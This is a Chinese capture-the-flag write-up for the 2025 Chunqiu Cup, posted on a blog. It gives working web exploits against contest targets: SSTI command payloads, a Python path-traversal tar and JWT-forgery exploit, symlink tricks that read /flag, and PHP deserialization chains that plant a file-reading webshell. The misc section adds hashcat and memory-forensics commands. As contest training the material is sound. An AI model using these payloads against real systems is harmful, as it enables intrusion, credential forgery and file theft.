25春秋杯wp

春秋杯

图片不显示的去我blog找👇

25春秋杯 | DDL'S BLOG

文章所有内容部分来自自己写的,部分来自各路非公开wp,部分来自公开wp(附上链接,在文章末尾)

easy_flask

{
 
 {().__class__.__mro__.__getitem__(1).__subclasses__()[133].__init__.__globals__['popen']('cat+flag').read()}}
{
 
 {[].__class__.__base__.__subclasses__()[394]('cat /app/flag',shell=True,stdout=-1).communicate()[0].strip()}}

copy

https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
python3 filters_chain_oracle_exploit.py --target  http://eci-2ze17shnva9hcdar8b2n.cloudeci1.ichunqiu.com --file '/flag' --parameter path

思路是对的,跑不出来

Gotar

漏洞分析,追踪upload控制器,最下边的extractTar调用了extractDir,

分析调用,extractDir、extractSymlink、extractFile三个函数都调用了outputPath

可以构造恶意路径如:exp/../exp.txt 经过outputPath函数处理后,最终路径位../exp.txt 实现目录遍历漏洞👇

mkdir exp
echo "hack" > exp/secret.txt
tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/secret.txt```

login里面有重新加载env的代码,直接用·

import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string
​
def generate_random_string(length):
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))
​
def send_request(session, method, path, data=None, files=None, headers=None):
    url = f"http://{session.url}{path}"
    response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'})
    return response
​
​
def generate_jwt(user_id, is_admin, jwt_key):
    expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
    claims = {
        'UserID': user_id,
        'IsAdmin': is_admin,
        'exp': expiration_time
    }
    token = jwt.encode(claims, jwt_key, algorithm='HS256')
    return token
​
def create_malicious_tar():
    # Create the directory and .env file
    os.makedirs('exp', exist_ok=True)
    with open('exp/.env', 'w') as f:
        f.write("JWT_SECRET=hack")
​
    # Create the tar file with the path traversal
    with tarfile.open('hack.tar', 'w') as tar:
        tar.add('exp/.env', arcname='exp/../../../.env')
​
def exp(url, token):
    payload = "echo `cat /flag` > /var/www/html/public/flag.txt"
​
    session = requests.Session()
    session.url = url
​
    random_string = generate_random_string(4)
​
    user_data = {
        "username": random_string,
        "password": random_string
    }
    response1 = send_request(session, 'POST', '/register', data=user_data)
    if response1.status_code != 200:
        return "Failed to register"
    response2 = send_request(session, 'POST', '/login', data=user_data)
    if response2.status_code != 200:
        return "Failed to login"
​
    with open('hack.tar', 'rb') as f:
        files = {'file': f}
        response3 = send_request(session, 'POST', '/upload', files=files)
        if response3.status_code != 200:
            return "Failed to upload malicious tar file"
        print("Malicious tar file uploaded successfully")
​
    # 触发加载环境变量
    send_request(session, 'GET', '/login')
    headers = {
        'Cookie': f'token={token}'
    }
    response4 = send_request(session, 'GET', '/download/1', headers=headers)
    return response4.text
​
if __name__ == "__main__":
    create_malicious_tar()
    print("Malicious tar file created: hack.tar")
​
    jwt_key = "hack"
    user_id = 1
    is_admin = True
​
    token = generate_jwt(user_id, is_admin, jwt_key)
    print("Generated JWT:", token)
​
    URL = sys.argv[1]
    flag = exp(URL, token)
    print(flag)

挣扎了一下还是算了,go语言不会,粘个*LAMENTXU* *WRITEUP*

直接看核心逻辑解压了tar文件之后可以直接访问。一眼顶针软连接
ln -sf /flag flag
tar cf flag.tar ../../flag
提交,访问/assets/extracted/flag即可(我感觉这个像是非预期)
​
另一种解法是读取env里的jwt密钥伪造admin用户出
ln -sf ../../../.env 2/envlink
tar -cvf 3.tar 2/envlink
打包传上去,访问拿到jwt_secret,伪造1admin为true即可
Jwt:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySUQiOjEsIklzQWRtaW4iOnRydWUsImV4cCI6MTczNzE4ODA1Mn0.FRDw-GypUzmiA1QxYShpGNpiQEjZAhZz19GQGJFgYms
flag{b1f79e3a-12f5-46d5-9574-d09068a3ecca}

easy_ser

源码

听说pop挺好玩的
<?php
//error_reporting(0);
function PassWAF1($data){
    $BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec",  "pcntl_exec", "passthru", "popen", "putenv");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}
​
function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}
​
function PassWAF3($data){
    $BlackList = array("\.\.", "\/");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}
​
function Base64Decode($s){
    $decodeStr = base64_decode($s);
    if (is_bool($decodeStr)) {
        echo "gg";
        exit(-1);
    }
    return $decodeStr;
}
​
class STU{
​
    public $stu;
    public function __construct($stu){
        $this->stu = $stu;
    }
​
    public function __invoke(){
        echo $this->stu;
    }
}
​
​
class SDU{
    public $Dazhuan;
​
    public function __wakeup(){
        $Dazhuan = $this->Dazhuan;
        $Dazhuan();
    }
}
​
​
class CTF{
    public $hackman;
    public $filename;
​
    public function __toString(){
​
        $data = Base64Decode($this->hackman);
        $filename = $this->filename;
​
        if (PassWAF1($data)) {
            echo "so dirty";
            return;
        }
        if (PassWAF3($filename)) {
            echo "just so so?";
            return;
        }
​
        file_put_contents($filename, PassWAF2($data));
        echo "hack?";
        return "really!";
    }
​
    public function __destruct(){
        echo "bye";
    }
}
​
$give = $_POST['data'];
if (isset($_POST['data'])) {
    unserialize($give);
} else {
    echo "<center>听说pop挺好玩的</center>";
    highlight_file(__FILE__);
} 

代码分析

  1. waf1是个过滤关键字

  2. waf2坏在一句话上,这就得保证代码在16字符以内

    • $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
    • sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string):格式化输出当前处理的数据:

      • %08x:以 8 位十六进制格式输出 $count,并在前面补充零。用于显示当前行的字节偏移量。

      • %-40s:输出十六进制字符串 $hex_string,并确保它的宽度为 40 个字符,左对齐。

      • %-16s:输出 ASCII 字符串 $ascii_string,并确保它的宽度为 16 个字符,左对齐。

      • \n:每行末尾添加换行符。

  3. waf3就过滤俩字符

    • ..和/

所以目的就是写文件,写个读取根目录flag的文件出来,保证码的内容16个字符以内

脚本

<?php 
class STU{
public $stu;
}
class SDU{
public $Dazhuan;
}
class CTF{
public $hackman;
public $filename;
}
$c=new CTF();
$c->filename="a.php";
$c->hackman="PD89YGNhdCAvZipgOw==";
$b=new STU();
$a=new SDU();
$b->stu=$c;
$a->Dazhuan=$b;
echo serialize($a);

image-20250118235909367

image-20250118235947419

easy_code

6.66999999999999999999999999999999999999999e2 = 667.00000000000000000000000000000000000000000。
在浮点数表示中,667.000... 会被自动四舍五入为 667,即去除多余的小数部分。
Hackbar里设置cookie为pass=admin
Include那里使用php://filter配合convert.iconv修改字符集使用
file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php

python jail

import base64
from random import randint

with open("flag", "r") as f:
    flag = f.read()

BOX = [randint(1, 9999) for _ in range(624)]
print("Give me your solve:")
user_input = input().strip()

try:
    user_code = base64.b64decode(user_input).decode()
except Exception:
    print("Invalid base64 input")
    exit(1)

assert len(user_code) <= 121, "Input exceeds maximum allowed length"

exec_globals = {"__builtins__": None}
exec_locals = {}

try:
    exec(user_code, exec_globals, exec_locals)
except Exception:
    print("Error")
    exit(1)

s = exec_locals.get("s", None)
if s == BOX:
    print(flag)
else:
    print("Incorrect")

book

留个

<?php

class Book
{
    public $id;
    public $title;
    public $author;
    public $summary;
    public $reader;
}

class Reader
{
    public function __construct($location)
    {
        $this->location = $location;
    }

    public function getLocation()
    {
        return $this->location;
    }
    private $location;
    public function getContent()
    {
        return file_get_contents($this->location);
    }
    public function setContent($content)
    {
        file_put_contents($this->location, $content);
    }
}

$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload =  $partA . "\x00" . $partB . "\x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "\n";
$book->summary = str_repeat('\'', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
    return str_replace("'", "\\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "\n[+] Serialized payload: ";
echo base64_encode($res);
echo "\n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

misc

简单算数

# 给定的加密字符串
encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b"

# 尝试不同的密钥
for key in range(256):  # 遍历所有256个可能的字节值
    decrypted_str = ''.join(chr(ord(c) ^ key) for c in encrypted_str)
    print(f"Key: {key} -> {decrypted_str}")

或者

# 加密字符串和目标flag(假设目标flag是CTF{...}的形式)
encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b"
target_flag = "flag"  # 假设flag是'flag'

# 将目标flag和加密字符串的每个字符转换为ASCII值
encrypted_ascii = [ord(c) for c in encrypted_str]
flag_ascii = [ord(c) for c in target_flag]

# 找到密钥(通过目标flag字符的异或操作得到密钥)
key = [encrypted_ascii[i] ^ flag_ascii[i] for i in range(len(target_flag))]

# 打印密钥,密钥字符
print("密钥的ASCII值:", key)
print("密钥对应的字符:", ''.join(chr(k) for k in key))

# 使用密钥解密加密字符串
decrypted = ''.join(chr(encrypted_ascii[i] ^ key[i % len(key)]) for i in range(len(encrypted_str)))

print("解密后的字符串:", decrypted)

See anything in these pics?

在线阅读Aztec条码

image-20250119122520012

image-20250119122824084

放随波涿流跑一下直接出(改长宽

image-20250119130301359

flag{opium_00pium}

通往哈希的旅程

hashcat -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
flag{18876011645}

法二

https://www.somd5.com/

直接去这里面查

小hash

flag{game_cqb_isis_cxyz}

简单镜像提取

flag{E7A10C15E26AA5750070EF756AAA1F7C}

压缩包

import zipfile
import os
import base64
import re


def read_password_file(password_file):
    """读取并解码密码文件"""
    with open(password_file, 'r') as f:
        content = f.read().strip()
    # Base64解码
    decoded = base64.b64decode(content).decode()
    return decoded


def extract_zip(zip_path, password):
    """解压zip文件并返回解压出的zip文件路径(如果存在)"""
    dir_name = os.path.dirname(zip_path)

    with zipfile.ZipFile(zip_path) as zf:
        zf.extractall(path=dir_name, pwd=password.encode())
        extracted_files = zf.namelist()

    # 查找解压出的zip文件
    for file in extracted_files:
        if file.endswith('.zip'):
            return os.path.join(dir_name, file)
    return None


def collect_all_passwords(start_zip):
    """收集所有解压过程中的密码"""
    current_zip = start_zip
    passwords = []
    processed_files = set()

    while current_zip and os.path.exists(current_zip):
        if current_zip in processed_files:
            print(f"警告:发现重复的zip文件 {current_zip},停止处理")
            break

        processed_files.add(current_zip)

        # 从文件名中提取数字
        current_number = re.search(r'(\d+)', os.path.basename(current_zip)).group(1)
        password_file = f'password_{current_number}.txt'

        if not os.path.exists(password_file):
            print(f"密码文件 {password_file} 不存在,停止处理")
            break

        print(f"处理: {current_zip}")
        print(f"使用密码文件: {password_file}")

        try:
            password = read_password_file(password_file)
            passwords.append(password)
            print(f"解码后的密码: {password[:20]}...")  # 只显示前20个字符

            # 解压文件
            next_zip = extract_zip(current_zip, password)
            if next_zip:
                print(f"发现新的zip文件: {next_zip}")
                current_zip = next_zip
            else:
                print("未找到更多的zip文件,处理完成!")
                break

        except Exception as e:
            print(f"处理出错: {str(e)}")
            break

    return passwords


def clean_password(password):
    """清理密码中的非十六进制字符"""
    return ''.join(c for c in password if c in '0123456789ABCDEFabcdef')


def create_png_from_passwords(passwords, output_file="flag.png"):
    """从密码列表创建PNG文件"""
    # 反转密码列表(因为需要从最后一个开始)
    passwords = passwords[::-1]

    # 清理并组合所有密码
    cleaned_hex = ''
    found_png_header = False

    for password in passwords:
        cleaned = clean_password(password)
        if '89504E47' in cleaned.upper():
            print("找到PNG文件头")
            found_png_header = True
        if found_png_header:
            cleaned_hex += cleaned

    print(f"处理后的十六进制数据长度: {len(cleaned_hex)}")

    try:
        # 确保长度是偶数
        if len(cleaned_hex) % 2 != 0:
            cleaned_hex = cleaned_hex[:-1]

        # 转换为二进制数据
        binary_data = bytes.fromhex(cleaned_hex)

        # 写入PNG文件
        with open(output_file, "wb") as f:
            f.write(binary_data)
        print(f"成功创建PNG文件: {output_file}")

        return True
    except Exception as e:
        print(f"创建PNG文件时出错: {str(e)}")
        return False


def main():
    """主函数,执行完整的处理流程"""
    # 起始文件
    start_zip = "zip_98.zip"

    print("步骤1: 开始收集所有密码...")
    passwords = collect_all_passwords(start_zip)

    if not passwords:
        print("未收集到任何密码!")
        return

    print(f"\n步骤2: 共收集到 {len(passwords)} 个密码")

    print("\n步骤3: 开始生成PNG文件...")
    if create_png_from_passwords(passwords):
        print("\n处理完成!请查看生成的flag.png文件")
    else:
        print("\n生成PNG文件失败!")


if __name__ == "__main__":
    main()

image-20250117114159520

ez_forensics

语法
python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan|grep zip

查文件

python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan -Q  XXXX -D .

提取文件

python2 vol.py -f ezforensics.raw --profile=Win7SP1x64 hashdump

查hash

image-20250119171937783

image-20250119171912418

findme

image-20250119181029378

参考

官方1

https://mp.weixin.qq.com/s/IhJiiZKWtp1wS7qAIZer-A

官方2

https://mp.weixin.qq.com/s/xUNRwOoYWRfNm5iZ1RKeKw

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/956953.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C# 事件(Event)详解

C# 事件详解 事件&#xff08;Event&#xff09;是 C# 中的一种特殊类型的委托&#xff0c;它是基于委托的基础上构建的&#xff0c;用来实现事件驱动编程。在 C# 中&#xff0c;事件常用于处理用户输入、系统通知、数据更新等场景&#xff0c;允许一个对象通知其他对象某些行…

三维扫描赋能文化:蔡司3D扫描仪让木质文化遗产焕发新生-沪敖3D

挪威文化历史博物馆在其修复工作中融入现代3D扫描技术&#xff0c;让数百年的历史焕发新生。 文化历史博物馆的工作 文化历史博物馆是奥斯陆大学的一个院系。凭借其在文化历史管理、研究和传播方面的丰富专业知识&#xff0c;该博物馆被誉为挪威博物馆研究领域的领先机构。馆…

Ubuntu 24.04 LTS 系统语言英文改中文

Ubuntu 24.04 LTS 修改软件源 Ubuntu 更改软件源 修改语言 无需输入命令&#xff0c;为Ubuntu 24.04系统添加中文智能拼音输入法 在 setting 的 system 中按下图操作 点击“Apply Changes”。需要管理员密码&#xff0c;安装完成后&#xff0c;退出登录&#xff0c;重新登…

Qt按钮美化教程

前言 Qt按钮美化主要有三种方式&#xff1a;QSS、属性和自绘 QSS 字体大小 font-size: 18px;文字颜色 color: white;背景颜色 background-color: rgb(10,88,163); 按钮边框 border: 2px solid rgb(114,188,51);文字对齐 text-align: left;左侧内边距 padding-left: 10…

51c自动驾驶~合集48

我自己的原文哦~ https://blog.51cto.com/whaosoft/13133866 #UDMC 考虑轨迹预测的统一决策控制框架 论文&#xff1a;https://arxiv.org/pdf/2501.02530 代码&#xff1a;​​https://github.com/henryhcliu/udmc_carla.git​​ 1. 摘要 当前的自动驾驶系统常常在确…

C# 动态创建Label和ComboBox控件并修改Text

背景&#xff1a;在做项目的时候可能需要根据一定数量创建某些控件并修改其属性&#xff0c;本文以控件label、ConboBox控件进行动态创建。 程序运行前后的的Form动态图 代码如下&#xff1a; using System; using System.Collections.Generic; using System.ComponentModel; …

【物联网】keil仿真环境设置 keilV5可以适用ARM7

文章目录 一、ARM指令模拟器环境搭建1. keil软件2. Legacy Support 二、Keil仿真环境设置1. 创建一个项目2. 编译器介绍(1)arm-none-eabi-gcc(2)arm-none-linux-gnueabi-gcc(3)arm-eabi-gcc(4)grmcc(5)aarch64-linux-gnu-gcc 3. 安装编译器(1)设置调试 一、ARM指令模拟器环境搭…

2024年度总结:从后端Java到全栈成长的蜕变

目录 前言1. 用数据与实践书写成长篇章2. 技术与生活的双重蜕变3. 技术的进阶与生活的绽放 前言 今年是我入行的第十年&#xff0c;也是记录在CSDN平台上的第五年。这五年来&#xff0c;我始终坚持记录成长的点滴&#xff0c;将个人事业与博客创作紧密相连。一路走来&#xff0…

U-Net - U型网络:用于图像分割的卷积神经网络

U-Net是一种专为图像分割任务设计的卷积神经网络&#xff08;CNN&#xff09;&#xff0c;最初由Olaf Ronneberger等人于2015年提出。它被广泛应用于医学影像分析、遥感图像分割、自动驾驶和其他许多需要对图像进行像素级分类的任务中。U-Net具有强大的特征提取和恢复能力&…

SpringCloud基础一

前后端分离开发 前后端分离开发后&#xff0c;前后端代码不在混合在同一个maven工程中&#xff0c;而是分为前端工程和后端工程。此时前后端代码并行开发&#xff0c;可以加快项目的开发进度在前后端代码分离后&#xff0c;此时后端工程会打包部署到Tomcat上&#xff0c;前端工…

MFC中添加Richedit2.0控件导致程序无法运行的解决方法mfc richedit2 Detected memory leaks! 及控件使用

错误&#xff1a;拖Richedit2.0控件到界面&#xff0c;编译提示mfc richedit2 Detected memory leaks! 原因&#xff1a;在MFC中添加Richedit2.0控件&#xff0c;可能会导致程序出错或无法运行。这是由于RichEdit没有初始化导致的。 解决&#xff1a;在 继承自CWinApp的类中的…

每打开一个chrome页面都会【自动打开F12开发者模式】,原因是 使用HBuilderX会影响谷歌浏览器的浏览模式

打开 HBuilderX&#xff0c;点击 运行 -> 运行到浏览器 -> 设置web服务器 -> 添加chrome浏览器安装路径 chrome谷歌浏览器插件 B站视频下载助手插件&#xff1a; 参考地址&#xff1a;Chrome插件 - B站下载助手&#xff08;轻松下载bilibili哔哩哔哩视频&#xff09…

【电视盒子】HI3798MV300刷机教程笔记/备份遥控码修复遥控器/ADB/线刷卡刷/电视盒子安装第三方应用软件

心血来潮&#xff0c;看到电视机顶盒满天飞的广告&#xff0c;想改造一下家里的电视盒子&#xff0c;学一下网上的人刷机&#xff0c;但是一切都不知道怎么开始&#xff0c;虽然折腾了一天&#xff0c;以失败告终&#xff0c;还是做点刷机笔记。 0.我的机器 年少不会甄别&…

USART_串口通讯轮询案例(HAL库实现)

引言 前面讲述的串口通讯案例是使用寄存器方式实现的&#xff0c;有利于深入理解串口通讯底层原理&#xff0c;但其开发效率较低&#xff1b;对此&#xff0c;我们这里再讲基于HAL库实现的串口通讯轮询案例&#xff0c;实现高效开发。当然&#xff0c;本次案例需求仍然和前面寄…

AI绘画入门:探索数字艺术新世界(1/10)

引言&#xff1a;AI 绘画的兴起与现状 在科技飞速发展的当下&#xff0c;AI 绘画如同一场艺术领域的风暴&#xff0c;正以惊人的速度席卷而来&#xff0c;彻底改变着我们对艺术创作的认知。近年来&#xff0c;AI 绘画相关的话题屡屡登上热搜&#xff0c;从社交媒体上各种 AI 生…

多线程杂谈:惊群现象、CAS、安全的单例

引言 本文是一篇杂谈&#xff0c;帮助大家了解多线程可能会出现的面试题。 目录 引言 惊群现象 结合条件变量 CAS原子操作&#xff08;cmp & swap&#xff09; 线程控制&#xff1a;两个线程交替打印奇偶数 智能指针线程安全 单例模式线程安全 最简单的单例&…

Ubuntu -- 几行命令使用Ollama部署本地AI大模型, 仅调用api, 快速测试api效果

需求 需要在本地快速部署一个大模型, 然后使用 局域网 的其他电脑进行 api调用为了快速测试, 大模型选择了 qwen2:0.5B 进行快速测试 开始 下载安装 ollama curl -fsSL https://ollama.com/install.sh | sh验证安装 ollama --version下载安装模型并运行 ollama run qwen2:…

无降智o1 pro——一次特别的ChatGPT专业模式探索

这段时间和朋友们交流 ChatGPT 的使用心得&#xff0c;大家都提到一个很“神秘”的服务&#xff1a;它基于 O1 Pro 模型&#xff0c;能够在对话里一直保持相对高水平的理解和回复&#xff0c;不会突然变得“降智”。同时&#xff0c;整体使用还做了免折腾的网络设置——简单一点…

1. 基于图像的三维重建

1. 基于图像的三维重建 核心概念三维重建中深度图、点云的区别&#xff1f;深度图点云总结 深度图到点云还需要什么步骤&#xff1f;1. **获取相机内参**2. **生成相应的像素坐标**3. **计算三维坐标**4. **构建点云**5. **处理颜色信息&#xff08;可选&#xff09;**6. **去除…

国内有哪些著名的CRM系统提供商?

嘿&#xff0c;你有没有想过&#xff0c;在这个信息爆炸的时代里&#xff0c;企业怎么才能更好地管理客户关系呢&#xff1f;答案就是使用高效的CRM系统。今天我就来给大家聊聊那些在国际上非常有名的CRM系统提供商吧。 悟空CRM 首先不得不提的就是悟空CRM了&#xff01;这可…